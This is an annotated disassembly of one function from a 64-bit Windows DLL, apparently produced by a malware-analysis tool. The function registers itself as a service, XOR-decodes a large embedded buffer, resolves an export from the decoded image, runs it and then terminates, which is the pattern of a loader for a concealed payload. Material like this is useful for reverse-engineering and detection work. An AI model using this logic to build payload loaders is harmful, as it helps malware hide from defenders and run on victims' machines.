Function at 0x180001510
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push rbx
push rsi
push r12
sub rsp, 0x370
mov rax, qword [0x180023010]
xor rax, rsp
mov qword [rsp + 0x350], rax
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x104
call fcn.180004680
lea rdx, [rsp + 0x30]
call fcn.1800011d0
xor edx, edx
lea rcx, [rsp + 0x140]
mov r8d, 0x208
call fcn.180004680
mov rbx, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov r9, rbx
nop
inc r9
cmp byte [rax + r9], 0
jne 0x180001570
xor r12d, r12d
mov qword [rsp + 0x398], rdi
mov dword [rsp + 0x28], r12d
lea r8, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
lea ecx, [rsi + 1]
movsxd rcx, ecx
test rcx, rcx
je 0x1800015bb
movzx eax, r12w
lea rdi, [rsp + 0x140]
rep stosw word [rdi], ax
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x1800015c0
lea rax, [rsp + 0x140]
mov dword [rsp + 0x28], esi
mov r9, rbx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [0x1800014b0]
mov word [rsp + rsi*2 + 0x140], r12w
lea rcx, [rsp + 0x140]
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
mov qword [0x180051008], rax
test rax, rax
je 0x180001870
lea rdx, [0x180050fe8]
mov dword [0x180050fe8], 0x10
mov rcx, rax
mov dword [0x180050fec], 4
mov qword [0x180050ff0], 5
mov qword [0x180050ff8], r12
mov dword [0x180051000], r12d
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
je 0x180001870
mov qword [rsp + 0x360], r15
lea rdx, [0x1800239f1]
mov rcx, r12
movzx eax, byte [0x18004f7f1]
xor al, byte [0x18004f7f2]
xor al, byte [0x18004f7f3]
xor al, byte [0x18004f7f0]
xor byte [rcx + rdx - 1], al
movzx eax, byte [rcx + rdx]
xor al, byte [0x18004f7f1]
xor al, byte [0x18004f7f2]
xor al, byte [0x18004f7f3]
xor al, byte [0x18004f7f0]
mov byte [rcx + rdx], al
movzx eax, byte [rcx + rdx + 1]
xor al, byte [0x18004f7f1]
xor al, byte [0x18004f7f2]
xor al, byte [0x18004f7f3]
xor al, byte [0x18004f7f0]
mov byte [rcx + rdx + 1], al
movzx eax, byte [0x18004f7f1]
xor al, byte [0x18004f7f2]
xor al, byte [0x18004f7f3]
xor al, byte [0x18004f7f0]
xor byte [rcx + rdx + 2], al
movzx eax, byte [rcx + rdx + 3]
xor al, byte [0x18004f7f1]
xor al, byte [0x18004f7f2]
xor al, byte [0x18004f7f3]
xor al, byte [0x18004f7f0]
mov byte [rcx + rdx + 3], al
movzx eax, byte [0x18004f7f1]
xor al, byte [0x18004f7f2]
xor al, byte [0x18004f7f3]
xor al, byte [0x18004f7f0]
xor byte [rcx + rdx + 4], al
add rcx, 6
cmp rcx, 0x2be00
jb 0x180001671
mov edx, 0x2be00
call fcn.180001070
call fcn.180001e80
mov r15, rax
test rax, rax
je 0x180001824
mov rcx, qword [rax]
mov qword [rsp + 0x390], rbp
mov qword [rsp + 0x3a0], r13
mov qword [rsp + 0x368], r14
mov r14, qword [rax + 8]
cmp dword [rcx + 0x8c], r12d
je 0x1800017f4
mov ebx, dword [rcx + 0x88]
add rbx, r14
mov edx, dword [rbx + 0x18]
test edx, edx
je 0x1800017f4
mov ecx, dword [rbx + 0x14]
test ecx, ecx
je 0x1800017f4
lea r13, [0x180020d3c]
mov rax, r13
shr rax, 0x10
test ax, ax
jne 0x1800017b9
mov edx, dword [rbx + 0x10]
movzx eax, r13w
cmp eax, edx
jb 0x1800017f4
sub eax, edx
jmp 0x18000189b
mov edi, dword [rbx + 0x20]
mov esi, r12d
mov ebp, dword [rbx + 0x24]
add rdi, r14
add rbp, r14
test edx, edx
je 0x1800017f4
nop dword [rax]
mov edx, dword [rdi]
mov rcx, r13
add rdx, r14
call fcn.1800072b0
test eax, eax
je 0x180001894
inc esi
add rdi, 4
add rbp, 2
cmp esi, dword [rbx + 0x18]
jb 0x1800017d0
mov ecx, 0x7f
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, r12
call rcx
mov rcx, r15
call fcn.180002360
mov r14, qword [rsp + 0x368]
mov r13, qword [rsp + 0x3a0]
mov rbp, qword [rsp + 0x390]
mov rcx, qword [0x180051008]
lea rdx, [0x180050fe8]
mov dword [0x180050fec], 3
mov dword [0x180050ffc], r12d
mov dword [0x180051000], 0x3e8
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov r15, qword [rsp + 0x360]
test eax, eax
je 0x180001870
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdi, qword [rsp + 0x398]
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.180002430
add rsp, 0x370
pop r12
pop rsi
pop rbx
ret
movzx eax, word [rbp]
mov ecx, dword [rbx + 0x14]
cmp eax, ecx
ja 0x1800017f4
mov edx, dword [rbx + 0x1c]
lea ecx, [rax*4]
lea rax, [r14 + rdx]
mov ecx, dword [rcx + rax]
add rcx, r14
jmp 0x180001802